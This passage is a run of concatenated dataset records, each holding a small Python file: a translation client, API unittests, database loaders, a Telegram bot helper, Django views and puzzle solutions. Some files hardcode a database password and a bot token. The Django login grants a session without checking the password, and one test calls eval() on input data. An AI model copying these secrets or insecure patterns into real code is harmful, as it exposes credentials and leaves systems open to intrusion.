'src': ''}\n title_trans = ''\n for _ in range(retries):\n try:\n title_trans = self.translate(text[:5000], dest='en')\n break\n except Exception as error:\n # empty responses restart session\n self._reset()\n else:\n title_trans = Translated(src='', dest='', origin='',\n text='', pronunciation='',\n extra_data='',\n response='', parts=[])\n\n title_trans, title_lang = title_trans.text, title_trans.src\n\n for chunk in range(1, len(text) // 5000 + 1):\n for _ in range(retries):\n try:\n title_trans += self.translate(text[chunk * 5000:5000 * (chunk + 1)], dest='en')['text']\n break\n except Exception as error:\n # empty responses restart session\n self._reset() # TODO REINIT\n else:\n return {'text': '', 'src': ''}\n return {'text': title_trans, 'src': title_lang}\n\n def _reset(self):\n self.client = httpx.Client(http2=True)\n\n self.token_acquirer = TokenAcquirer(client=self.client, host=self.service_urls[0])\n","sub_path":"googleparser/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":14412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"629047569","text":"# -*- coding: utf-8 -*-\nimport sys, os\nsys.path.append(\"/home/zhangweibin/api_auto\")\nprint(sys.path)\n\nimport json\nimport unittest\nfrom public.Log_method import Logger\nfrom public.operation_Excel import OperExcel\nfrom public.reque import RunMethod\nfrom ddt import ddt, data, unpack\n\n\nloger = Logger(\"RunCase\", file_dir=\"/home/zhangweibin/api_auto/data/test.log\")\ntestdatas = OperExcel(filename=\"/home/zhangweibin/api_auto/data/testcase1.xlsx\").read()\n\n\n@ddt\nclass TestMethod(unittest.TestCase):\n \"\"\"异常用例\"\"\"\n\n def setUp(self):\n # 设置全局变量,供其他用例使用,字典储存\n self.g = globals()\n print(\"start\")\n\n def tearDown(self):\n print(\"end\")\n\n @data(*testdatas)\n @unpack\n def test_01(self, method, url, data, headers, expect_result, case_name):\n run = RunMethod()\n run_res = run.run_test(method=method, url=url,\n data=eval(data), headers=json.loads(headers))\n \n run_res = json.loads(run_res)\n print(run_res)\n\n expec = expect_result.split(\"=\", 1)[1]\n if run_res[\"msg\"] in(\"pika登录认证服务器不可用\", \"业务流79不存在\"):\n loger.debug(\"其他异常%s,算通过\" % run_res)\n return\n else:\n self.assertEqual(str(run_res[\"code\"]), expec, \"reality return%s\" % run_res)\n\nif __name__ == '__main__':\n unittest.main()\n\n\n\n\n\n","sub_path":"api_pika/test_case/testcase1.py","file_name":"testcase1.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"613565712","text":"import psycopg2,csv\nfrom numpy import *\nimport pandas as pd\n\n\n#Establishing the connection\nconn = psycopg2.connect(\n database=\"Sose2020-mobi-mobility\", user='student', password='mobi-project2020', host='141.13.162.166', port= '5432'\n)\n\nconn.autocommit = True\ncursor = conn.cursor()\n\nwith open('indoor_data_groundtruth.csv', newline='') as myFile:\n readerp = csv.reader(myFile)\n csv_data = list(readerp)[1:]\nfor row in csv_data:\n \n aa=int(row[0])\n bb=pd.to_datetime(row[1] + ' ' + row[2])\n cc=pd.to_datetime(row[1] + ' ' + row[3])\n dd=row[4]\n ee=double(row[5])\n ff = double(row[6])\n \n cursor.execute(\"INSERT INTO public.indoor_groundtruth(userid,starttime,endtime,label,posx,posy) VALUES (%s,%s,%s,%s,%s,%s)\", (aa,bb,cc,dd,ee,ff))\n\nconn.commit()\n \n\n\n\n\n# Commit your changes in the database\n\nprint(\"Records inserted groundt truth........\")\n\n# Closing the connect\n\n\n\n\n\n\n\n","sub_path":"Trajectory data analysis project/implementation/Insert_Indoor_Groundtruth_code_task4.py","file_name":"Insert_Indoor_Groundtruth_code_task4.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"10634463","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\n\n\nPATH = os.path.dirname(os.path.abspath(__file__))\nIDXS = [5, 10, 15, 20, 25, 30]\n\n\ndef run(jar, mode):\n for idx in IDXS:\n path = '{}/{}/{}_neighbors'.format(PATH, mode, idx)\n for ff in os.listdir(path):\n command = 'java -Xmx25000m -jar {} --run {}'.format(\n jar,\n path + '/' + ff\n )\n os.system(command)\n #print(command)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n raise Exception('Missing {jar file} as parameter')\n\n jar = str(sys.argv[1])\n\n run(jar, 'original')\n run(jar, 'prediction')\n","sub_path":"app/generators/execute_eval.py","file_name":"execute_eval.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"532569426","text":"\"\"\"\r\nKrishna Bhattarai\r\nCSE 4391\r\nThe university of texas at Arlington\r\nJanuary 31, 2016\r\n\"\"\"\r\nimport itertools\r\n\r\n\r\n\"\"\"\r\nThis method assumes that the file has vertices and faces only nothing else\r\n\"\"\"\r\ndef load_txt(file_name):\r\n mode = \"r\"\r\n file_pointer = open(file_name, mode)\r\n data = file_pointer.readlines()\r\n file_pointer.close()\r\n\r\n vertices = []\r\n faces = []\r\n for each_line in data:\r\n if each_line[0] == \"v\":\r\n # print(each_line)\r\n vertex_tokens =each_line.strip().split()\r\n\r\n x, y, z = float(vertex_tokens[1]), float(vertex_tokens[2]), float(vertex_tokens[3])\r\n vertices.append([x, y, z])\r\n if each_line[0] == \"f\":\r\n face_tokens = each_line.strip().split()\r\n k, l, m = int(face_tokens[1])-1, int(face_tokens[2])-1, int(face_tokens[3])-1\r\n faces.append([k, l, m])\r\n\r\n VERTICES = list(itertools.chain(*vertices))\r\n FACES = list(itertools.chain(*faces))\r\n print(\"var vertices =\", VERTICES, \";\")\r\n # print(len(VERTICES))\r\n print(\"var faces = \",FACES, \";\")\r\n # print(len(FACES))\r\n\r\n\"\"\"\r\nThis method assumes that ply only has vertices and faces\r\nnormals or colors are not accounted for\r\n\"\"\"\r\ndef load_ply(file_name):\r\n with open(file_name) as fp:\r\n data = fp.readlines()[10:]\r\n\r\n vertices = []\r\n faces = []\r\n for each_line in data:\r\n tokens = each_line.strip().split()\r\n # print(tokens)\r\n\r\n # assume that faces start with '3' meaning that there are 3 faces in each line\r\n\r\n if tokens[0] == \"3\" and len(tokens) == 4:\r\n k, l, m = int(tokens[1]), int(tokens[2]), int(tokens[3])\r\n faces.append([k, l, m])\r\n else:\r\n\r\n x, y, z = float(tokens[0]), float(tokens[1]), float(tokens[2])\r\n vertices.append([x, y, z])\r\n\r\n VERTICES = list(itertools.chain(*vertices))\r\n FACES = list(itertools.chain(*faces))\r\n\r\n\r\n\r\n print(VERTICES, \";\")\r\n print(len(VERTICES))\r\n print(FACES, \";\")\r\n print(len(FACES))\r\n\r\n# Name of the txt files\r\n# file_name = \"pyramid.txt\"\r\n# file_name = \"cow.txt\"\r\n# file_name = \"bunny.txt\"\r\n# file_name = \"teapot.txt\"\r\n# load_txt(file_name)\r\n\r\n# Name of the ply files\r\n\r\n# file_name = \"weathervane.ply\"\r\n# file_name = \"ant.ply\"\r\n# file_name = \"apple.ply\"\r\n# file_name = \"beethoven.txt\"\r\n# file_name = \"dragon.ply\"\r\n# file_name = \"big_dodge.ply\"\r\n# file_name = \"big_porsche.ply\"\r\n# file_name = \"big_spider.ply\"\r\n# file_name = \"canstick.ply\"\r\n# file_name = \"chopper.ply\"\r\n# file_name = \"dolphins.ply\"\r\n# file_name = \"pickup_big.ply\"\r\n# file_name = \"head1.ply\"\r\n# load_ply(file_name)\r\n","sub_path":"resources/WebGL/scripts/data_parser.py","file_name":"data_parser.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"188615989","text":"import psycopg2\nimport json\nimport datetime\n\ndef get_connection():\n try:\n cnx = psycopg2.connect(host=\"localhost\", database=\"c4f00g03\", user=\"c4f00g03\", password=\"j4g6x7b3\")\n return cnx\n except psycopg2.OperationalError as err:\n print(json.dumps(\"check DB connection\"))\n if cnx is not None:\n cnx.close()\n quit() \n\n# execute query, format response into an array of dictionaries\ndef exec_and_parse(cursor, cnx, query):\n\tout = []\n\ttry:\n\t\tcursor.execute(query)\n\t\tcnx.commit()\n\texcept psycopg2.Error as err:\n\t\tprint(err)\n\t\treturn(False, out)\n\tif not cursor.description:\n\t\tif cursor.rowcount > 0:\n\t\t\treturn(True, out)\n\t\telse:\n\t\t\treturn(False, out)\n\twhile True:\n\t\trow = cursor.fetchone()\n\t\tif not row:\n\t\t\tbreak\n\t\ttmp = {}\n\t\tfor (desc, val) in zip(cursor.description, row):\n\t\t\tif isinstance(val, datetime.datetime):\n\t\t\t\tval = str(val)\n\t\t\ttmp[desc[0]] = val\n\t\tout.append(tmp)\n\treturn(True, out)\n\n","sub_path":"webportal/React UI bb/MySQL/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"572996169","text":"#!/usr/bin/env python3\nimport time\nfrom testflows.core import *\n\npool = Pool(3)\n\n\n@TestScenario\ndef subtest(self):\n with Step(\"step\"):\n time.sleep(1)\n\n\n@TestScenario\ndef test1(self):\n with Step(\"step\"):\n note(f\"{self.name} note1\")\n pool.submit(Scenario(test=subtest)).result()\n\n # if self.name.endswith(\"test1\"):\n # fail(f\"{self.name} failed\")\n\n\n@TestScenario\n@Parallel(True)\n@Executor(pool)\ndef ptest(self):\n note(\"parallel test\")\n time.sleep(1)\n note(\"parallel test done\")\n fail(f\"{self.name} failed\")\n\n\n@TestScenario\ndef ptest2(self):\n note(\"parallel test\")\n try:\n try:\n for i in range(10):\n with Step(\"step\"):\n time.sleep(0.1)\n finally:\n note(\"tryin to cleanup\")\n with Given(\"I try to do some setup\"):\n pass\n finally:\n with Finally(\"clean up\"):\n note(f\"{self.name} clean up\")\n note(\"parallel test done\")\n\n\n@TestScenario\ndef ptest3(self):\n fail(\"failed\")\n\n\n@TestSuite\ndef suite(self):\n self.executor = Pool(3)\n\n tasks = []\n with pool:\n\n for i in range(3):\n tasks.append(Scenario(name=f\"ptest2-{i}\", run=ptest2, parallel=True))\n tasks.append(Scenario(run=ptest3, parallel=True))\n\n join(*tasks)\n\n\nif main():\n suite()\n","sub_path":"tests/parallel.py","file_name":"parallel.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"156373104","text":"\nfrom LinkedStack import LinkedStack\n\n\n#/* *** ODSATag: TOH *** */\n# Compute the moves to solve a Tower of Hanoi puzzle.\n# Function move does (or prints) the actual move of a disk\n# from one pole to another.\n# - n: The number of disks\n# - start: The start pole\n# - goal: The goal pole\n# - temp: The other pole\n#/* *** ODSATag: TOHshort *** */\ndef TOH_recursive(n, start, goal, temp):\n if n == 0: # Base case\n return\n TOH_recursive(n-1, start, temp, goal) # Recursive call: n-1 rings\n move(start, goal) # Move bottom disk to goal\n TOH_recursive(n-1, temp, goal, start) # Recursive call: n-1 rings\n#/* *** ODSAendTag: TOHshort *** */\n#/* *** ODSAendTag: TOH *** */\n\n\nMOVE = 13\nTOH = 15\n\n#/* *** ODSATag: TOHstack *** */\ndef TOH_stack(n, start, goal, temp):\n S = LinkedStack()\n S.push(TOH_object(TOH, n, start, goal, temp))\n while S.size() > 0:\n it = S.pop() # Get next task\n if it.op == MOVE: # Do a move\n move(it.start, it.goal)\n elif it.num > 0: # Imitate TOH recursive solution (in reverse)\n S.push(TOH_object(TOH, it.num-1, it.temp, it.goal, it.start));\n S.push(TOH_object(MOVE, 0, it.start, it.goal)); # A move to do\n S.push(TOH_object(TOH, it.num-1, it.start, it.temp, it.goal));\n\nclass TOH_object:\n def __init__(self, o, n, s, g, t=None):\n self.op = o\n self.num = n\n self.start = s\n self.goal = g\n self.temp = t\n#/* *** ODSAendTag: TOHstack *** */\n\ncounter = None\n\ndef move(start, goal):\n global counter\n print(f\"{counter}: Move {start} to {goal}\")\n counter += 1\n\n\nif __name__ == '__main__':\n import sys\n n = 4\n if len(sys.argv) == 2:\n n = int(sys.argv[1])\n start, goal, temp = 1, 2, 3\n\n print(\"Recursive solution\")\n counter = 1\n TOH_recursive(n, start, goal, temp)\n print()\n print(\"Stack solution\")\n counter = 1\n TOH_stack(n, start, goal, temp)\n","sub_path":"SourceCode/Python/ChalmersGU/DemoTowersOfHanoi.py","file_name":"DemoTowersOfHanoi.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"141954211","text":"# -*- coding: utf-8 -*-\n\nwith open('B-small-attempt0.in') as f:\n\twith open('output.txt', 'w') as fout:\n\t\tn = int(f.readline())\n\t\tfor i in range(n):\n\t\t\t\tans = 0\n\t\t\t\tt,s,p, *mas = map(int, f.readline().split())\n\t\t\t\tfor x in mas:\n\t\t\t\t\tif x < p:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif x >= 3 * p:\n\t\t\t\t\t\tans += 1\n\t\t\t\t\telse:\n\t\t\t\t\t\tx = x - p\n\t\t\t\t\t\tif x % 2 == 0:\n\t\t\t\t\t\t\tif x / 2 == p-1:\n\t\t\t\t\t\t\t\tans +=1\n\t\t\t\t\t\t\telif x / 2 == p-2 and s> 0 :\n\t\t\t\t\t\t\t\tans +=1\n\t\t\t\t\t\t\t\ts -= 1\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif x == (p-1)+(p-2) and s > 0:\n\t\t\t\t\t\t\t\tans +=1\n\t\t\t\t\t\t\t\ts -=1\n\t\t\t\t\t\t\telif x == p+(p-1):\n\t\t\t\t\t\t\t\tans += 1\n\t\t\t\tfout.write('Case #{0}: {1} \\n'.format(i+1, ans))\n\n","sub_path":"solutions_python/Problem_96/1841.py","file_name":"1841.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"599926344","text":"#!/usr/bin/env python3\n\n# Sopeq: service_instance.py\n# License: GPLv2\n# Author: Brad Cable\n\nfrom collections import OrderedDict\n\nfrom iptables_helpers import *\nfrom ipv4 import IPv4\nfrom pool import pool\nfrom rule_generator import rule_generator\n\n# structured for incoming/traffic classes, outgoing generally will swap\n# \"in\" variables for \"out\" variables\n\nclass service_instance(rule_generator):\n\t_controller = None\n\t_target = None\n\tservice_name = None\n\t_log_prefix = None\n\t_rule_comment = None\n\t_in_addrs = None\n\t_out_addrs = None\n\t_in_if = None\n\t_out_if = None\n\n\tdef __init__(self,\n\t\tcontroller, target, service_name, log_prefix, rule_comment,\n\t\tin_addrs, out_addrs, in_if=None, out_if=None\n\t):\n\t\tsuper().__init__()\n\n\t\tself._target = target.upper()\n\n\t\tself._controller = controller\n\t\tself.service_name = service_name\n\t\tself._log_prefix = log_prefix\n\t\tself._rule_comment = rule_comment\n\t\tself._in_addrs = in_addrs\n\t\tself._out_addrs = out_addrs\n\t\tself._in_if = in_if\n\t\tself._out_if = out_if\n\n\tdef rules(self):\n\t\tin_pool = self._controller.get_pool(self._in_addrs)\n\t\tout_pool = self._controller.get_pool(self._out_addrs)\n\n\t\tif in_pool is not None:\n\t\t\tin_addrs = in_pool.get_all_ips()\n\t\telse:\n\t\t\tin_addrs = [self._in_addrs]\n\n\t\tif out_pool is not None:\n\t\t\tout_addrs = out_pool.get_all_ips()\n\t\telse:\n\t\t\tout_addrs = [self._out_addrs]\n\n\t\tret_rules = []\n\t\tfor in_addr in in_addrs:\n\t\t\tif not IPv4(in_addr).valid():\n\t\t\t\traise Exception # TODO\n\n\t\t\tfor out_addr in out_addrs:\n\t\t\t\tif not IPv4(out_addr).valid():\n\t\t\t\t\traise Exception # TODO\n\n\t\t\t\trules = self.rule(in_addr, out_addr)\n\t\t\t\tfor rule in rules:\n\t\t\t\t\tif rule[1] != \"out\" or self._egress:\n\t\t\t\t\t\tret_rules.append((rule[0], rule[2]))\n\n\t\treturn ret_rules\n\n\tdef rule(self, in_addr, out_addr):\n\t\tinput_rule = \"-A {}_IN\".format(self.service_name)\n\t\toutput_rule = \"-A {}_OUT\".format(self.service_name)\n\n\t\tif self._log_prefix is not None:\n\t\t\tinput_rule_log = input_rule\n\t\t\toutput_rule_log = output_rule\n\n\t\tinput_flags = OrderedDict()\n\t\toutput_flags = OrderedDict()\n\n\t\tif self._in_addrs is not None:\n\t\t\tinput_flags[\"d\"] = in_addr\n\t\t\toutput_flags[\"s\"] = in_addr\n\n\t\tif self._out_addrs is not None:\n\t\t\tinput_flags[\"s\"] = out_addr\n\t\t\toutput_flags[\"d\"] = out_addr\n\n\t\tif self._in_if is not None:\n\t\t\tinput_flags[\"i\"] = self._in_if\n\t\t\toutput_flags[\"o\"] = self._in_if\n\n\t\tif self._out_if is not None:\n\t\t\tinput_flags[\"o\"] = self._out_if\n\t\t\toutput_flags[\"i\"] = self._out_if\n\n\t\t# not necessary anymore since I\"m changing how validate works\n\t\t### these are in order of what iptables outputs\n\t\t### (the first isn\"t necessary since the others will move past it)\n\t\t###if \"s\" in input_flags:\n\t\t###\tinput_flags.move_to_end(\"s\")\n\t\t###if \"s\" in output_flags:\n\t\t###\toutput_flags.move_to_end(\"s\")\n\t\t##if \"d\" in input_flags:\n\t\t##\tinput_flags.move_to_end(\"d\")\n\t\t##if \"d\" in output_flags:\n\t\t##\toutput_flags.move_to_end(\"d\")\n\t\t##if \"i\" in output_flags:\n\t\t##\tinput_flags.move_to_end(\"i\")\n\t\t##if \"i\" in output_flags:\n\t\t##\toutput_flags.move_to_end(\"i\")\n\t\t##if \"o\" in input_flags:\n\t\t##\tinput_flags.move_to_end(\"o\")\n\t\t##if \"o\" in output_flags:\n\t\t##\toutput_flags.move_to_end(\"o\")\n\n\t\tinput_flags[\"j\"] = self._target\n\t\toutput_flags[\"j\"] = self._target\n\n\t\tfor flag in input_flags:\n\t\t\tcur_append = \" -{} {}\".format(\n\t\t\t\tflag, input_flags[flag]\n\t\t\t)\n\t\t\tinput_rule += cur_append\n\t\t\tif self._log_prefix is not None and flag != \"j\":\n\t\t\t\tinput_rule_log += cur_append\n\n\t\tfor flag in output_flags:\n\t\t\tcur_append = \" -{} {}\".format(\n\t\t\t\tflag, output_flags[flag]\n\t\t\t)\n\t\t\toutput_rule += cur_append\n\t\t\tif self._log_prefix is not None and flag != \"j\":\n\t\t\t\toutput_rule_log += cur_append\n\n\t\tif self._log_prefix is not None:\n\t\t\tlog_append = ipt_construct_log(\n\t\t\t\tself._controller.log_level, self._log_prefix\n\t\t\t)\n\t\t\tinput_rule_log += log_append\n\t\t\toutput_rule_log += log_append\n\n\t\tif self._rule_comment is not None:\n\t\t\tcomment_append = ipt_construct_comment(self._rule_comment)\n\t\t\tinput_rule += comment_append\n\t\t\toutput_rule += comment_append\n\t\t\tif self._log_prefix is not None:\n\t\t\t\tinput_rule_log += comment_append\n\t\t\t\toutput_rule_log += comment_append\n\n\t\trule_list = [\n\t\t\t(\"filter\", \"in\", input_rule), (\"filter\", \"out\", output_rule)\n\t\t]\n\t\tif self._log_prefix is not None:\n\t\t\trule_list.extend([\n\t\t\t\t(\"filter\", \"in\", input_rule_log),\n\t\t\t\t(\"filter\", \"out\", output_rule_log)\n\t\t\t])\n\n\t\treturn rule_list\n","sub_path":"service_instance.py","file_name":"service_instance.py","file_ext":"py","file_size_in_byte":4286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"640472908","text":"\nclass Day6:\n\n @staticmethod\n def steps_to_infinite_loop(array: list) -> int:\n \"\"\"\n Redistribute the largest element in the list evenly across the list, starting at the element after the largest\n element. Continue until a configuration of the list is seen twice. Return the number of steps. This will be\n the number of steps before an infinite loop is detected.\n\n :param array: Input array of integers\n :return: Steps till an infinite loop is detected\n \"\"\"\n tuples = set()\n steps = 0\n\n while True:\n\n # Check if current configuration already exists, return if it does, add it if it doesn't\n tup = tuple(array)\n if tup in tuples:\n return steps\n else:\n tuples.add(tup)\n\n steps += 1\n\n # Get the value and index of the maximum value in the list\n max_i, max_value = max(enumerate(array), key=lambda e: e[1])\n\n # Reset the value of the maximum element\n array[max_i] = 0\n\n # Redistribute the maximum value across the list, starting at the next element\n for i in range(1, max_value + 1):\n update_i = (i + max_i) % len(array)\n array[update_i] += 1\n","sub_path":"2017/Graeme/python/advent/day/day_6.py","file_name":"day_6.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"152534132","text":"import datetime\nfrom GitTask.RequestMaker import RequestMaker\n\n\nclass PullRequestRequestMaker(RequestMaker):\n def __init__(self, query):\n super().__init__()\n self.url = \"https://api.github.com/search/issues\"\n self.params = {\n 'q': query,\n }\n\n\nclass PullRequestQueryMaker:\n @staticmethod\n def opened_pr(**kwargs):\n return f\"is:pr \" \\\n f\"repo:{kwargs['owner']}/{kwargs['repo']} \" \\\n f\"state:open \" \\\n f\"base:{kwargs['branch']} \" \\\n f\"created:<{kwargs['date_to']} \" \\\n f\"created:>={kwargs['date_from']} \"\n\n @staticmethod\n def closed_pr(**kwargs):\n return f\"is:pr \" \\\n f\"repo:{kwargs['owner']}/{kwargs['repo']} \" \\\n f\"state:closed \" \\\n f\"base:{kwargs['branch']} \" \\\n f\"created:<{kwargs['date_to']} \" \\\n f\"created:>={kwargs['date_from']} \"\n\n @staticmethod\n def old_pr(**kwargs):\n old_max_date = datetime.date.today() - datetime.timedelta(days=30)\n date_to = min(old_max_date, kwargs['date_to'])\n return f\"is:pr \" \\\n f\"repo:{kwargs['owner']}/{kwargs['repo']} \" \\\n f\"state:open \" \\\n f\"base:{kwargs['branch']} \" \\\n f\"created:<{date_to.strftime('%Y-%m-%d')} \" \\\n f\"created:>={kwargs['date_from']}\"\n","sub_path":"GitTask/payloads/PullRequest.py","file_name":"PullRequest.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"628843222","text":"import networkx as nx\nfrom networkx.readwrite import json_graph\nfrom itertools import islice\n\n\ndef window(seq, n=2):\n it = iter(seq)\n result = tuple(islice(it, n))\n if len(result) == n:\n yield result\n for elem in it:\n result = result[1:] + (elem,)\n yield result\n\n\ndef get(df):\n\n gdf = df.sort_values([\"Student Number\", \"Term\"]) \\\n .loc[:, [\"Student Number\", \"Term\", \"Node Column\"]] \\\n .groupby(\"Student Number\")\n\n a = list(gdf[\"Node Column\"])\n\n flow = [[el for el in x[1]] for x in a]\n \n sankey = [list(window([str(i) + x for i, x in enumerate(sub)])) for sub in flow]\n sankey = [item for sublist in sankey for item in sublist]\n\n s = nx.DiGraph()\n for edge in sankey:\n if s.has_edge(*edge):\n s[edge[0]][edge[1]]['weight'] += 1\n else:\n s.add_edge(*edge, weight=1)\n\n jdat = json_graph.node_link_data(s)\n \n #testdict = {\"flow\":flow, \"sankey\":sankey, \"s\":s, \"a\":a}\n\n return jdat #, testdict\n","sub_path":"Chemistry/Scripts/get_json.py","file_name":"get_json.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"103456574","text":"import requests\nimport pprint\nimport config\n\nBASE_URL = 'https://api.telegram.org/bot722151765:AAHAHusl-PEL4wMPRvt5U-rZ56ct4dCwj8Y/'\n\n\n# Главное иметь url самого bot api и токен который тебе дал Господь бог\n\n###############################################\n# #\n# для определеного метода создаеться масив #\n# с параметрами такие как chat_id и #\n# text (смотреть код ниже), дальше #\n# передаеться через запрос requests по url #\n# бота и в конце этому запросу присвается #\n# Метод с масивом параметров #\n# #\n###############################################\n\n###############################################\n# #\n# Подсказки для пользование API telegram Бота #\n# #\n###############################################\n\n# декоратор для определение данных в консоле\ndef Decorators(func):\n def decors_wrapper():\n print(\"#############################\")\n func()\n print(\"#############################\")\n\n return decors_wrapper\n\n\n# Запрос на информацию о боте\n@Decorators\ndef bot_info():\n r = requests.get(f'{BASE_URL}getMe')\n print(r)\n print(\"Bots information: \")\n pprint.pprint(r.json())\n\n\n# Запрос на обновление информации от сервера\n@Decorators\ndef getUpdates():\n # load = ['id, first_name', 'user_name', 'language_code']\n u = requests.get(f'{BASE_URL}getUpdates') # allowed_updates=load\n print(u)\n print(\"Update data information on server: \")\n # pprint.pprint(u.json()) # Показ данных в удобном формате json\n pprint.pprint(u.json()['result'][-1]) # Вывод последних данных\n\n\n# Отправка данных по id #\n# Можно юзать для администрирования бота\n@Decorators\ndef send_message_to_id_user():\n payload = {}\n payload['chat_id'] = 535364051\n payload['text'] = 'Habib win'\n print(\"Last message information: \")\n print(payload)\n p = requests.post(f'{BASE_URL}sendMessage', data=payload)\n return p\n\n\n# Отправка локации #\n# Можно юзать вместе с выводом постов для геолокации хат\n@Decorators\ndef send_location():\n payload = {}\n payload['chat_id'] = 535364051\n payload['latitude'] = 47.830284\n payload['longitude'] = 35.165504\n r = requests.post(f'{BASE_URL}sendLocation', data=payload)\n print('Location has been send')\n return r\n\n\n@Decorators\ndef edit_button():\n pass\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"179914516","text":"'''\nЗадание 1\nПользователь вводит с клавиатуры строку. Проверьте\nявляется ли введенная строка палиндромом. Палиндром — слово или текст, которое читается одинаково\nслева направо и справа налево. Например, кок; А роза\nупала на лапу Азора; доход; А буду я у дуба.\n'''\n\nmessag_e = input(\"Введіть строку: \")\nmessage_1 = messag_e.replace(\" \" , \"\").lower() \nif message_1 == message_1[::-1]:\n print(messag_e, ' - палиндром')\nelse:\n print(messag_e, ' - не палиндром')\n","sub_path":"Lesson_7_DZ_Nichipurenko_A.V/Lesson_7_DZ_1_Nichipurenko_A.V.py","file_name":"Lesson_7_DZ_1_Nichipurenko_A.V.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"580521747","text":"from django.conf import settings\nfrom home.models import User_Info, Variables, Documents_Info, Comment\nfrom home.forms import PostForm\nfrom django.shortcuts import render, redirect\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom home.custom import *\nfrom django.http import HttpResponseForbidden\n\n\ncontext_default = {\n 'version': settings.SITE_VER,\n 'css_version': settings.CSS_VER,\n 'superuser_id': settings.SUPERUSER_ID,\n 'user_info_condition': settings.USER_INFO_CONDITION,\n 'process_rate': settings.PROCESS_RATE,\n}\n\ndocument_context = {\n 'document_info' : Documents_Info.objects.all(),\n}\n\n\ndef update_context():\n global document_context, context_default\n document_context = {\n 'document_info': Documents_Info.objects.all(),\n }\n datas = Variables.objects.all()\n if len(datas) == 0:\n obj = Variables(\n visits= 0,\n doc_index_recent= 0,\n visits_free=0,\n visits_rout=0,\n visits_lol=0,\n visits_dl=0,\n visits_web=0,\n visits_java=0,\n visits_window=0,\n visits_indiv=0\n )\n obj.save()\n context_default = {\n 'version' : settings.SITE_VER,\n 'css_version' : settings.CSS_VER,\n 'superuser_id' : settings.SUPERUSER_ID,\n 'user_info_condition': settings.USER_INFO_CONDITION,\n 'variables' : Variables.objects.all().first(),\n 'process_rate' : settings.PROCESS_RATE,\n }\n\n\ndef index(request):\n save_count = 0\n for visit_counter in Variables.objects.filter().all():\n save_count = visit_counter.visits+1\n break\n\n Variables.objects.filter().all().update(visits=save_count)\n\n context2 = {\n 'superuser_id': settings.SUPERUSER_ID,\n }\n update_context()\n return render(request, 'major/homepage.html', merge_dicts(context_default, context2))\n\n\ndef get_develop_log(request):\n update_context()\n\n return render(request, 'major/development_log.html', context_default)\n\n\ndef get_login_page(request):\n update_context()\n User_Infos = User_Info.objects.all()\n\n prev = request.GET.get('call')\n login_context = {\n 'user_information': User_Infos,\n 'previous_call' : prev,\n }\n return render(request, 'major/login_page.html', merge_dicts(context_default, login_context))\n\n\ndef get_signup_page(request):\n update_context()\n User_Infos = User_Info.objects.all()\n login_context = {\n 'user_information': User_Infos,\n }\n return render(request, 'major/signup.html', merge_dicts(context_default, login_context))\n\n\ndef post_user_info(request):\n obj = User_Info(\n user_id=request.POST.get('user-id'),\n user_nickname=request.POST.get('user-nickname'),\n user_pw=request.POST.get('user-pw')\n )\n obj.save()\n return redirect('/login')\n\n\ndef post_user_login(request):\n for user in User_Info.objects.filter().all():\n if user.user_id == request.POST.get('user-id'):\n request.session['username'] = user.user_nickname\n request.session['userid'] = user.user_id\n break\n\n previous = request.GET.get('call')\n\n if previous == None:\n return redirect('/homepage')\n return redirect('/board?name=' + previous)\n\n\ndef user_logout(request):\n try:\n del request.session['username']\n del request.session['userid']\n except:\n pass\n return redirect('/homepage')\n\n\ndef get_board_list(request):\n update_context()\n\n classification = request.GET.get('name')\n\n visit_num = update_visits(classification)\n\n board_name = switch_urlname_to_board_name(classification)\n\n post_all_list = Documents_Info.objects.filter(classify=classification).order_by('doc_index').reverse()\n paginator = Paginator(post_all_list, settings.PAGE_MAX_DETAILS)\n\n page = request.GET.get('page')\n\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n posts = paginator.page(1)\n except EmptyPage:\n posts = paginator.page(paginator.num_pages)\n\n ranger = range(1,settings.PAGE_MAX_CHAPTER+1)\n\n if page != None :\n pagei = int(page)\n page_page = (int)((pagei-1)/settings.PAGE_MAX_CHAPTER)\n ranger = range(\n page_page * settings.PAGE_MAX_CHAPTER + 1,\n (page_page+1) * settings.PAGE_MAX_CHAPTER + 1,\n )\n\n page_viewed_total = 0\n posts_num = 